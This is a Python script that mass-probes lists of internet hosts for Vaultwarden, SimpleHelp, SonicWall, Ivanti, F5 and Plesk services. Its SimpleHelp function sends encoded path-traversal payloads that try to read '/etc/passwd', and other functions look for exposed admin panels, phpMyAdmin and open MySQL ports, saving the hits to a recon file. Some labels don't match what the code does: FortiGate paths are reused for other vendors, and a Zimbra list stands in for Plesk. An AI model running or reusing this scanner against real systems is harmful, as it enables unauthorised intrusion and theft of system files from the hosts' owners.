import asyncio, re, socket
import aiohttp

SEM = asyncio.Semaphore(20)


def load(name):
    out = []
    try:
        f = open(f"/root/recon/lists/{name}.txt")
    except FileNotFoundError:
        return out
    for line in f:
        p = line.rstrip("\n").split("\t")
        if len(p) >= 3:
            out.append((p[0], int(p[1]), p[2]))
    return out


async def get(sess, url, allow=False, timeout=None):
    async with sess.get(url, allow_redirects=allow, ssl=False) as r:
        raw = await r.content.read(30000)
        return r.status, raw.decode("utf-8", "replace")


async def vault(sess, ip, port, sc):
    st, t = await get(sess, f"{sc}://{ip}:{port}/api/config")
    st2, t2 = await get(sess, f"{sc}://{ip}:{port}/admin")
    m = re.search(r"(?is)<title[^>]*>\s*(.*?)\s*</title>", t2)
    return f"config={st} admin={st2} title={re.sub(chr(92)+'s+',' ',(m.group(1) if m else ''))[:30]} raw={re.sub(chr(92)+'s+',' ',t)[:220]}"


async def simple(sess, ip, port, sc):
    paths = [
        "/",
        "//%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
        "/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
        "/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
        "/?/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd",
        "/api/config",
    ]
    out = []
    for p in paths:
        try:
            st, t = await get(sess, f"{sc}://{ip}:{port}{p}")
            if "root:x:" in t:
                out.append(f"TRAVERSAL {p} -> passwd")
            out.append(f"{p[:30]}={st}/{len(t)}")
        except Exception:
            out.append(f"{p[:30]}=err")
    return " ".join(out[-6:])


async def plesk(sess, ip, port, sc):
    base = f"{sc}://{ip}:{port}"
    res = []
    for p in ("/phpMyAdmin/", "/phpmyadmin/", "/webmail/", "/awstats/"):
        try:
            st, t = await get(sess, base + p)
            res.append(f"{p}={st}")
        except Exception:
            res.append(f"{p}=err")
    return " ".join(res)


def tcp_open(ip, port, t=4):
    try:
        s = socket.create_connection((ip, port), timeout=t)
        s.close()
        return True
    except Exception:
        return False


async def forti(sess, ip, port, sc):
    base = f"{sc}://{ip}:{port}"
    res = []
    for p in ("/api/v2/monitor/system/status", "/remote/logincheck", "/remote/fortissl/sslvpn"):
        try:
            st, t = await get(sess, base + p)
            res.append(f"{p.split('/')[-1]}={st}")
        except Exception:
            res.append(f"{p.split('/')[-1]}=err")
    return " ".join(res)


async def main():
    conn = aiohttp.TCPConnector(limit=0, ssl=False)
    tout = aiohttp.ClientTimeout(total=12, connect=6, sock_read=8)
    hdr = {"User-Agent": "Mozilla/5.0"}
    lines = []
    async with aiohttp.ClientSession(connector=conn, timeout=tout, headers=hdr) as sess:
        async def one(kind, ip, port, sc, fn):
            async with SEM:
                try:
                    r = await fn(sess, ip, port, sc)
                except Exception as e:
                    r = "ERR " + type(e).__name__
            lines.append(f"{kind}\t{ip}\t{port}\t{r}")

        jobs = []
        for ip, port, sc in load("vaultwarden"):
            jobs.append(one("vault", ip, port, sc, vault))
        for ip, port, sc in load("simplehelp"):
            jobs.append(one("simplehelp", ip, port, sc, simple))
        for ip, port, sc in load("sonicwall"):
            jobs.append(one("sonicwall", ip, port, sc, forti))
        for ip, port, sc in load("ivanti"):
            jobs.append(one("ivanti", ip, port, sc, forti))
        for ip, port, sc in load("f5"):
            jobs.append(one("f5", ip, port, sc, forti))
        await asyncio.gather(*jobs)
        # Plesk: paths for a sample of 120 + TCP 3306 on all
        pl = load("zimbra")
        await asyncio.gather(*[one("plesk_paths", ip, port, sc, plesk) for ip, port, sc in pl[:120]])
        loop = asyncio.get_running_loop()
        opens = await asyncio.gather(*[loop.run_in_executor(None, tcp_open, ip, 3306) for ip, _, _ in pl])
        open3306 = [ip for (ip, _, _), o in zip(pl, opens) if o]
        lines.append(f"plesk_3306_open\t{len(open3306)}/{len(pl)}\t{','.join(open3306[:40])}")
    open("/root/recon/final_probe.tsv", "w").write("\n".join(lines))
    print("done", len(lines))


asyncio.run(main())
